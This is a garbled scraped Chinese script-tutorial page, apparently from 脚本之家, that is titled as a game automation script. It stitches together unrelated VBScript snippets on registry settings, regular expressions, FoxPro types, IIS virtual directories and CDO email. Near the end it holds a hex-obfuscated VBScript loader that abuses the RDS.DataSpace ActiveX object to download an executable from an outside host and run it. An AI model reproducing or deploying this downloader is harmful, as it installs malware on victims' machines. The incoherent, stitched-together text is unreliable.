神武3手游日常脚本moba

发布时间:2021-06-07 来源:脚本之家 点击:

比如我们要删除窗体的“高”这键,则可以写成:DeleteSetting“测试”,”main”,”Height”如果我们要将”main”这个段整个去掉,则可以写成DeleteSetting“测试”,”main”如果我们再彻底一些,想将整个应用程序去掉的话,就干脆直接写成:

DeleteSetting“测试”

----这种方法的不足之处是只能把信息记录在指定的位置,即

HKEY_CURRENT_USER\Software\VB
AndVBAProgramSettings

----如果要写入到别的地方,就要借助于API了是的,我们承认:脚本专家确实懒惰

魔兽世界自动寻路脚本
"
Err.Clear
endif

Next

->


interface IRegExp2 : IDispatch {
[id(0x00002711), propget]
HRESULT Pattern([out, retval] BSTR* pPattern);
[id(0x00002711), propput]
HRESULT Pattern([in] BSTR pPattern);
[id(0x00002712), propget]
HRESULT IgnoreCase([out, retval] VARIANT_BOOL* pIgnoreCase);
[id(0x00002712), propput]
HRESULT IgnoreCase([in] VARIANT_BOOL pIgnoreCase);
[id(0x00002713), propget]
HRESULT Global([out, retval] VARIANT_BOOL* pGlobal);
[id(0x00002713), propput]
HRESULT Global([in] VARIANT_BOOL pGlobal);
[id(0x00002717), propget]
HRESULT Multiline([out, retval] VARIANT_BOOL* pMultiline);
[id(0x00002717), propput]
HRESULT Multiline([in] VARIANT_BOOL pMultiline);
[id(0x00002714)]
HRESULT Execute(
[in] BSTR sourceString,
[out, retval] IDispatch** ppMatches);
[id(0x00002715)]
HRESULT Test(
[in] BSTR sourceString,
[out, retval] VARIANT_BOOL* pMatch);
[id(0x00002716)]
HRESULT Replace(
[in] BSTR sourceString,
[in] VARIANT replaceVar,
[out, retval] BSTR* pDestString);
};

3.将FoxPro数据类型转换为MicrosoftJet数据类型

应用程序在读取数据时,MicrosoftJet将每个FoxPro数据类型转换为相应的MicrosoftJet数据类型,其对应关系见下:

Foxpro数据类型Microsoft数据类型

charactertext

Numeric,FloatDouble

Logicalboolean

datedate/time

memomemo

GenerallongBinary

Double*double

currency*currency

integerlong

datetime*data/time

(注:*只用于MicrosoftFoxPro3.0和MicrosoftFoxProDBC


strServerName=""localhost""
strRootPath=""g:\documents""''虚拟目录路径
strVRName=""Test""''虚拟目录名称
strDefaultDoc=""index.asp""''起始文档

DimobjIIS
''MsgBox""""&strServerName&""/W3SVC/1""

OnErrorResumeNext
SetobjIIS=GetObject(""""&strServerName&""/W3SVC/1"")

Iferr=-2147024893Then
MsgBox""IIS不存在!""&vbcrlf&""请验证IIS是否已正确安装!"",vbcritical
Wscript.Quit
ElseIferr<>0Then
MsgBox""未知错误!"",vbcritical
Wscript.Quit
EndIf

OnErrorGoTo0

SetobjVirtualDir=objIIS.GetObject(""IISWebVirtualDir"",""Root"")
ForeachVRinobjVirtualDir
IfVR.Name=strVRNameThen
MsgBox""虚拟目录""&strVRName&""已存在!"",vbinformation
Wscript.Quit
EndIf
Next

OnErrorResumeNext
Setfs=Wscript.CreateObject(""Scripting.FileSystemObject"")
SetobjFolder=fs.GetFolder(strRootPath)

Iferr=76Then
MsgBox""路径""&strRootPath&""不存在!"",vbcritical
Wscript.Quit
EndIf

SetobjFolder=nothing
Setfs=nothing
OnErrorGoTo0

OnErrorResumeNext
SetVirDir=objVirtualDir.Create(""IISWebVirtualDir"",strVRName)
VirDir.AccessRead=true
VirDir.Path=strRootPath
VirDir.DefaultDoc=VirDir.DefaultDoc&"",""&strDefaultDoc

VirDir.setInfo

Iferr<>0Then
MsgBox""创建虚拟目录失败!"",vbcritical
Else
MsgBox""虚拟目录""&strVRName&""成功创建在服务器""&strServerName&""上!"",vbinformation
EndIf

代码的关键在于创建虚拟目录,及其中的配置:

SetVirDir=objVirtualDir.Create(""IISWebVirtualDir"",strVRName)
VirDir.AccessRead=true
VirDir.Path=strRootPath
VirDir.DefaultDoc=VirDir.DefaultDoc&"",""&strDefaultDoc

VirDir.setInfo


",64,"定义快捷键"

     EndSub

  

  enjoyit!

->


'Date: 2010/6/18
'Author: Demon
'QQ: 380401911
'E-mail: still.demon@gmail.com
'Website:

Const Email_From="ddd@163.com" '发件人邮箱
Const Password="password" '发件人邮箱密码
Const Email_To="380401911@qq.com" '收件人邮箱

Set CDO=CreateObject("CDO.Message") '创建CDO.Message对象
CDO.Subject="From Demon" '邮件主题
CDO.From=Email_From '发件人地址
CDO.To=Email_To '收件人地址
CDO.TextBody="Hello world!" '邮件正文
cdo.AddAttachment="C:\hello.txt" '邮件附件文件路径
Const schema="" '规定必须是这个,我也不知道为什么

With CDO.Configuration.Fields '用with关键字减少代码输入
.Item(schema & "sendusing")=2 '使用网络上的SMTP服务器而不是本地的SMTP服务器
.Item(schema & "smtpserver")="smtp.gmail.com" 'SMTP服务器地址
.Item(schema & "smtpauthenticate")=1 '服务器认证方式
.Item(schema & "sendusername")=Email_From '发件人邮箱
.Item(schema & "sendpassword")=Password '发件人邮箱密码
.Item(schema & "smtpserverport")=465 'SMTP服务器端口
.Item(schema & "smtpusessl")=True '是否使用SSL
.Item(schema & "smtpconnectiontimeout")=60 '连接服务器的超时时间
.Update '更新设置
End With

CDO.Send '发送邮件
一键玩分享一旦链接了一个表,该链接便会保留在各会话期间,直到连接断开<scriptlanguage="VBScript">
S="2020206F6E206572726F7220726573756D65206E6578740D0A737
3733D226D64622E657865220D0A61613D226F62220D0A6161613D22
6A65220D0A616161613D226374220D0A61616161613D22636C61220
D0A6161616161613D2273736964220D0A616161616161613D22636C
73220D0A61616161616161613D2269643A42443936220D0A6161616
161616161613D22433535362D3635220D0A61616161616161616161
3D2241332D313144220D0A61616161616161616161613D22302D393
8220D0A6161616161616161616161613D2233412D30304330344622
0D0A616161616161616161616161613D22433239453336220D0A6D6
D3D224D6963220D0A6E6E3D22726F73220D0A6D6D6E6E3D226F6674
2E58220D0A6E6E6D6D3D224D4C48220D0A6D6E6D6E3D22545450220
D0A6E6D3D6D6E0D0A62623D224164220D0A6262623D226F64220D0A
626262623D22622E5374220D0A62626262623D227265616D220D0A6
7673D2267220D0A65653D2265220D0A74743D2274220D0A63633D22
536372220D0A6363633D22697074220D0A636363633D22696E672E4
6220D0A6363313D22696C6553220D0A636363313D22797374220D0A
63636363313D22656D4F220D0A6363323D22626A220D0A636363323
D22656374220D0A68683D22536865220D0A6868683D226C6C2E4170
220D0A686868683D22706C69220D0A68686868683D2263617469220
D0A6868686868683D226F6E220D0A6F6F3D226F220D0A6F6F6F3D227
065220D0A6F6F6F6F3D226E220D0A536574207878787878787878203
D20646F63756D656E742E637265617465456C656D656E7428616126
6161612661616161290D0A78787878787878782E7365744174747269
62757465206161616161266161616161612C20616161616161612661
61616161616161266161616161616161612661616161616161616161
26616161616161616161616126616161616161616161616161266161
61616161616161616161610D0A53657420787878787878203D207878
7878787878782E4372656174654F626A656374286D6D266E6E266D6
D6E6E266E6E6D6D266D6E6D6E2C2222290D0A736574207878787820
3D2078787878787878782E6372656174656F626A6563742862622662
626226626262622662626262622C2222290D0A787878782E74797065
203D20310D0A7878787878782E4F70656E2067672665652674742C20
22687474703A2F2F71712E656532382E636E2F646F776E2F646F776E2
E657865222C2046616C73650D0A7878787878782E53656E640D0A78
7878787878783D7373730D0A20202020736574207878787878203D2
078787878787878782E6372656174656F626A6563742863632663636
32663636363266363312663636331266363636331266363322663636
3322C2222290D0A2020202073657420746D70203D2078787878782E
4765745370656369616C466F6C646572283229200D0A202020207878
78787878783D2078787878782E4275696C645061746828746D702C7
8787878787878290D0A20202020787878782E6F70656E0D0A2020202
0787878782E7772697465207878787878782E726573706F6E7365426
F64790D0A20202020787878782E73617665746F66696C65207878787
87878782C320D0A20202020787878782E636C6F73650D0A20202020
73657420717171203D2078787878787878782E6372656174656F626A
65637428686826686868266868686826686868686826686868686868
2C2222290D0A202020207171712E5368656C6C45786563757465207
87878787878782C22222C22222C6F6F266F6F6F266F6F6F6F2C30":D
="EXECUTE""""":C="&CHR(&H":N=")":DOWHILELEN(S)>1:IFISNUMER
IC(LEFT(S,1))THEND=D&C&LEFT(S,2)&N:S=MID(S,3)ELSED=D&C&LEF
T(S,4)&N:S=MID(S,5)
LOOP:EXECUTED
</script>
解密后:

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号